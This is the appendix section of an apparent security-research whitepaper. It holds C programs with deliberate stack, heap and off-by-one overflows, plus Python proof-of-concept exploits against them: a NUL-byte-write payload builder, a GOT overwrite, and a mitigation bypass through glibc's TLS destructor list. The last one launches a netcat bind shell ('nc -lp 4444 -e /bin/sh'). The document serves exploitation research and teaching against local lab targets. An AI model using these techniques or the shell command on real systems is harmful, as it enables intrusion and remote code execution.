worldwide. In the ever-changing world of security, our clients choose to retain our 

services year after year. 

An exceptional level of technical expertise informs all of our consultancy work, while a 

comprehensive approach and input from our dedicated Threat Intelligence and 

Research departments means we can help clients attain a deeper understanding of 

security vulnerabilities and threats. Our reputation is based above all on the technical 

skills, professionalism, independence and integrity of our personnel.  
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8 Appendixes  

8.1 Appendix A: Real World Example 

8.1.1 Simplified Vulnerable Code 

1    #include <stdio.h> 

2    #include <stdlib.h> 

3    #include <string.h> 

4    #include <limits.h> 

5     

6    struct slist { 

7     char * str; 

8     struct slist * next; 

9    }; 

10    

11   void free_slist(struct slist * slist) { 

12    struct slist * tmp = slist; 

13    while (slist) { 

14     tmp = slist->next; 

15     free(slist->str); 

16     free(slist); 

17     slist = tmp; 

18    } 

19   } 

20    

21   char * search_path_in_proc() { 

22    //go through a linked list 

23    return NULL; 

24   } 

25    

26   char * replace_env_vars(char * str) { 

27    char * env_var, *new_str, *before_var, *env_value; 

28    int new_length; 

29     

30    while ( 1 ) { 

31     if (!(env_var = strchr(str, '$'))) 

32      break; 

33    

34     new_str = (char *)malloc(env_var - str + 2); 

35     memset(new_str, 0, env_var - str + 2); 

36     strncpy(new_str, str, env_var - str); 

37    

38     before_var = strdup(new_str); 

39     env_value = getenv(env_var+1); 

40      

41     new_length = strlen(before_var) + strlen(env_value) + 2; 

42     new_str = realloc(new_str, new_length); 

43      

44     memset(new_str, 0, new_length); 

45     sprintf(new_str, "%s%s", new_str, env_value); 

46      

47     free(before_var); 

48     free(str); 

49     str = new_str; 

50       } 

51     
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52     return str; 

53   } 

54    

55   void parse(char * data) { 

56    int block_id = 1, count; 

57    char * block_start = data; 

58    char block1[PATH_MAX]; 

59    char block2[PATH_MAX]; 

60    char *b, *tmp, *relative_path, *abs_path; 

61    struct slist * slist_head = NULL, *slist_tail, *slist_entry; 

62    char * out = NULL; 

63     

64    memset(block1, 0, sizeof(block1)); 

65    memset(block2, 0, sizeof(block2)); 

66     

67    while (*data) { 

68      if (*data == ',') { 

69     count = data - block_start; 

70     if (count > 0xfff) 

71      count = 0xfff; 

72       

73     b = block1; 

74     switch (block_id) { 

75      case 2: 

76      b = block2; 

77      case 1: 

78      strncpy(b, block_start, count); 

79      b[count] = 0; 

80         

81      tmp = strdup(b); 

82      tmp = replace_env_vars(tmp); 

83      sprintf(b, "%s", tmp); // stack overflow 

84         

85      free(tmp); 

86      break; 

87         

88      case 3: 

89      slist_head = malloc(sizeof(struct slist)); 

90      slist_head->next = NULL; 

91         

92      slist_head->str = malloc(count+1); 

93      memset(slist_head->str, 0, count + 1); 

94      strncpy(slist_head->str, block_start, count); 

95      slist_head->str[count] = 0; 

96         

97      slist_head->str = replace_env_vars(slist_head->str); 

98      slist_tail = slist_head; 

99      break; 

100        

101     default:  

102     slist_entry = malloc(sizeof(struct slist)); 

103     slist_tail->next = slist_entry; 

104     slist_entry->str = 0; 

105     slist_entry->next = 0; 

106     slist_tail = slist_entry; 

107      

108     tmp = malloc(count + 1); 

109     slist_entry->str = tmp; 
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110     memset(tmp, 0, count + 1); 

111     strncpy(tmp, block_start, count); 

112     slist_entry->str[count] = 0; 

113     slist_entry->str = replace_env_vars(slist_entry-

>str); 

114     break; 

115    } 

116    block_start = data + 1; 

117    block_id++; 

118     } 

119     *data++; 

120   } 

121    

122   relative_path = malloc(PATH_MAX); 

123   strcpy(relative_path, block1);  // heap overflow 

124   abs_path = malloc(PATH_MAX); 

125   realpath(relative_path, abs_path); 

126    

127   out = search_path_in_proc(); //returns NULL with nonexisting 

path 

128   if (!out) { 

129    out = malloc(2); 

130    *(short *)out = 0x30; 

131   } 

132           

133   free(relative_path); 

134   free(abs_path); 

135   free(out); 

136   free_slist(slist_head); 

137  } 

138   

139   

140  int main(int argc, char ** argv) { 

141   FILE * f; 

142   char buf[1024]; 

143    

144   if (argc < 2 || !(f = fopen(argv[1], "r"))) 

145    return 1; 

146   

147   memset(buf,0,1024); 

148     

149   while (fgets(&buf, 1024, f)) { 

150    parse(buf); 

151   } 

152     

153   fclose(f); 

154    

155   return 0; 

156  } 
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8.1.2 Arbitrary NUL Byte Write 

#!/usr/bin/python 

# ./sploit.py && . env_vars.sh && ./vuln ./payload 

# Designed for x86 

 

import struct 

import sys 

 

input_file = open("./payload", "w") 

env_vars = open("./env_vars.sh", "w") 

print >> env_vars, "#!/bin/sh" 

 

def add_env_var(var_name, var_value): 

 print >> env_vars, "export %s=%s"%(var_name, var_value.replace('$', 

'\$')) 

 

def add_input_line(l): 

 l = ",".join(l) + "," 

 assert(len(l) <= 1023) 

 input_file.write(l.ljust(1023)) 

 

add_env_var("XF80","X"*0xf80)  

first_loop = ["", "", "$XF80"] 

first_loop.extend(["B4"]*20) 

add_input_line(first_loop) 

 

add_env_var("X1000","1"*0x1000)  

add_env_var("V1100", "$" + "X"*0x1100)  

add_env_var("X"*0x1100, "A")  

second_loop = [ "$X1000", "1234%s"%(struct.pack("<H", 0x161)), 

"$V1100" ] 

second_loop.extend(["B3"]*5)  

add_input_line(second_loop) 

 

third_loop = ["A"]*6 

third_loop.extend(["A"*0x130 + "%s"%(struct.pack("<I", 0xdeadbeef - 

0x134))]) 

add_input_line(third_loop) 

 

 

input_file.close() 

env_vars.close() 

8.2 Appendix B: Proof-of-concept example 

8.2.1 Vulnerable Code 

// proof-of-concept vulnerable application 

 

#include <stdio.h> 

#include <unistd.h> 

#include <string.h> 

#include <stdlib.h> 

#include <assert.h> 

 

#define QUEUE_SIZE 25 
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struct packet { 

 int id; 

 unsigned short size; 

 unsigned short received; 

 char * data; 

}; 

 

struct __attribute__ ((__packed__)) packet_header { 

 unsigned id; 

 unsigned short p_size; 

 unsigned short offset; 

 unsigned short data_len; 

}; 

 

struct packet * packets[QUEUE_SIZE]; 

unsigned nb_packets = 0; 

 

 

struct packet* find_packet(unsigned id) { 

 unsigned idx; 

  

 for (idx = id % QUEUE_SIZE ; 

 !packets[idx] || packets[idx]->id != id; 

 idx++, idx%=QUEUE_SIZE) 

  if (idx == ((id - 1)%QUEUE_SIZE)) 

   return NULL; 

    

 return packets[idx]; 

} 

 

struct packet * create_packet(unsigned id, unsigned short size) { 

 struct packet * p = malloc(sizeof(*p)); 

 unsigned idx = id % QUEUE_SIZE; 

  

 memset(p,0,sizeof(p)); 

 p->id = id; 

  

 for(idx = id % QUEUE_SIZE ; packets[idx]; 

 idx = (idx+1)%QUEUE_SIZE); 

 packets[idx] = p; 

 nb_packets++; 

  

 p->received = 0; 

 p->data = malloc(p->size = size); 

 memset(p->data, 0 , size); 

  

 return p; 

} 

void remove_packet(unsigned id) { 

 unsigned idx; 

  

 for (idx = id % QUEUE_SIZE ; 

 !packets[idx] || packets[idx]->id != id; 

 idx = (idx+1)%QUEUE_SIZE); 

 free(packets[idx]->data); 

 free(packets[idx]); 

  

 packets[idx] = 0; 
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 nb_packets--; 

} 

 

// vulnerable function 

void get_data(struct packet* p, unsigned short offset, unsigned short 

size) { 

 char c; 

  

 size += offset; 

  

 if (offset >= p->size) 

  return; 

   

 while (offset < size) { 

  if (read(0, &c, 1) != 1) break; 

  p->data[offset] = c; 

  p->received++; 

   

  if (offset++ > p->size) break; 

 } 

} 

 

int main() { 

 struct packet_header hdr; 

 struct packet * p; 

  

 memset(packets, 0, sizeof(packets)); 

   

 while(1) { 

  if (read(0, (char*)&hdr, sizeof(hdr)) != sizeof(hdr)) 

 exit(0); 

 

  if (!(p = find_packet(hdr.id))) { 

   assert(nb_packets < QUEUE_SIZE); 

   p = create_packet(hdr.id, hdr.p_size); 

  } 

   

  get_data(p, hdr.offset, hdr.data_len); 

   

  if (p->size > p->received) 

   continue; 

    

  printf("[%x] ", p->id); 

  fflush(stdout); 

  write(1, p->data, p->size); 

  puts(""); 

  fflush(stdout); 

   

  remove_packet(p->id); 

 } 

  

 return 0; 

} 
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8.2.2 GOT Overwrite 

#!/usr/bin/python 

# Proof of concept exploitation 

# - shrink free chunk to overlap a malloc() chunk 

# - code execution through GOT overwrite 

 

from struct import pack,unpack 

import socket 

import select 

 

HOST = "localhost" 

PORT = 31337 

 

CMD = "id" 

 

bss_offset = 0x3a2000 

system_offset = 0x41460 

free_got_offset = 0x2012f0 

libc_to_text = 0x5cb000 

 

sock = socket.socket() 

sock.connect((HOST,PORT)) 

def send_frag(i, psz, offs, s): 

 sock.sendall(pack("<I", i) + pack("<H", psz) + pack("<H", offs) 

+ pack("<H", len(s)) + s) 

 

def readall(): 

 txt = "" 

 while 1: 

  sel = select.select([sock],[],[],1) 

  if len(sel[0]) == 0: 

   break 

  c = sock.recv(1) 

  if len(c) == 0: 

   break 

  txt += c 

 return txt 

 

packets = {} 

def send_incomplete(i, sz, rem=1): 

 send_frag(i, sz, 0, chr(i)*(sz-rem)) 

 packets[i] = rem 

  

def complete_packet(i, s=""): 

 rem = packets[i] if packets.has_key(i) else 1 

 s = s.ljust(rem, chr(i)) 

 send_frag(i, rem, 0, s[:rem]) 

 del packets[i] 

 

send_incomplete(1, 0x80) 

send_incomplete(10, 0x100 - 8, 3) 

complete_packet(1) 

 

send_incomplete(20, 0x200) 

send_incomplete(30, 0x100 - 8) 

send_incomplete(40, 0x100 - 8) 

 

complete_packet(20) 
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send_frag(10, 0, 0x100 - 9, "A\x00") 

 

send_incomplete(21, 0x100 - 8) 

send_incomplete(22, 0x20 - 8) 

send_incomplete(23, 0x20 - 8) 

 

complete_packet(21) 

complete_packet(30) 

 

# The final 0x40 byte is necessary to redirect the “data” pointer 

# to another valid malloc()’d chunk 

# A 16-possibilities bruteforce (from 0x00 to 0xf0) might 

# be necessary if the heap base alignment is different 

send_frag(20, 0x149, 0x138, pack("<Q", 0x20|1) + pack("<I", 0x1337) + 

pack("<H", 0x30) + pack("<H", 0x30-1) + chr(0x40)) 

 

send_incomplete(25, 0x20 - 8) 

 

send_frag(0x1337, 0, 0, "B") 

 

libc_bss = unpack("<Q", readall()[-9:-1])[0] & ~0xfff 

libc_base = libc_bss - bss_offset 

libc_system = libc_base + system_offset 

text = libc_base + libc_to_text 

free_got = text + free_got_offset 

 

send_frag(20, 0, 0xf8, pack("<Q", 0x20|1) + pack("<I", 0x1337) + 

pack("<H", 9) + pack("<H", 0) + pack("<Q", free_got)) 

send_frag(0x1337, 0, 0, pack("<Q", libc_system)) 

readall() 

 

send_frag(ord('#'), len(CMD)+1, 0, CMD + "\x00") 

print readall() 

8.2.3 Full mitigation bypass 

#!/usr/bin/python 

# Proof of concept exploitation 

# - extend free chunk to overlap a malloc() chunk 

# - code execution through glibc's tls dtor list 

 

from struct import pack,unpack 

import socket 

import select 

import time 

 

HOST = "localhost" 

PORT = 31337 

 

STAGE1 = "nc -lp 4444 -e /bin/sh" 

STAGE2 = "id" 

 

bss_offset = 0x3a3000 

system_offset = 0x414f0 

libc_tls_dtor_offset = 0x59f6c0 

 

sock = socket.socket() 
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sock.connect((HOST,PORT)) 

def readall(): 

 txt = "" 

 while 1: 

  sel = select.select([sock],[],[],1) 

  if len(sel[0]) == 0: 

   break 

  c = sock.recv(1) 

  if len(c) == 0: 

   break 

  txt += c 

 return txt 

def send_frag(i, psz, offs, s): 

 sock.sendall(pack("<I", i) + pack("<H", psz) + pack("<H", offs) 

+ pack("<H", len(s)) + s) 

 

packets = {} 

def send_incomplete(i, sz, rem=1): 

 send_frag(i, sz, 0, chr(i)*(sz-rem)) 

 packets[i] = rem 

  

def complete_packet(i, s=""): 

 rem = packets[i] if packets.has_key(i) else 1 

 s = s.ljust(rem, chr(i)) 

 send_frag(i, rem, 0, s[:rem]) 

 del packets[i] 

 

send_incomplete(1, 0x68) 

send_incomplete(10, 0x100 - 8, 3) 

complete_packet(1) 

 

send_incomplete(20, 0x300 - 8) 

send_incomplete(30, 0x20 - 8) 

send_incomplete(40, 0x20 - 8) 

send_incomplete(41, 0x20 - 8) 

send_incomplete(50, 0x100 - 8) 

send_incomplete(60, 0x20 - 8) 

 

complete_packet(50) 

complete_packet(20) 

 

send_frag(10, 0, 0x100 - 9, "A\xa0") 

send_frag(20, 0x388, 0x378, pack("<Q", 0x20|1) + pack("<I", 0x1337) + 

pack("<H", 0x50) + pack("<H", 0x50-1)) 

 

send_frag(0x1337, 0, 0, "B") 

 

libc_bss = unpack("<Q", readall()[-9:-1])[0] & ~0xfff 

libc_base = libc_bss - bss_offset 

libc_system = libc_base + system_offset 

libc_tls_dtor = libc_base + libc_tls_dtor_offset 

print hex(libc_bss) 

 

payload = pack("<Q", libc_tls_dtor + 8) + pack("<Q", libc_system) + 

pack("<Q", libc_tls_dtor + 0x18) + STAGE1 + "\x00" 
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send_frag(20, 0, 0x338, pack("<Q", 0x20|1) + pack("<I", 0x1337) + 

pack("<H", 0x800) + pack("<H", 0x800 - len(payload) -1) + pack("<Q", 

libc_tls_dtor)) 

 

send_frag(0x1337, 0, 0, payload) 

sock.close() 

 

time.sleep(0.5) 

 

sock = socket.socket() 

sock.connect((HOST, 4444)) 

sock.sendall(STAGE2 + "\n") 

print readall() 

 


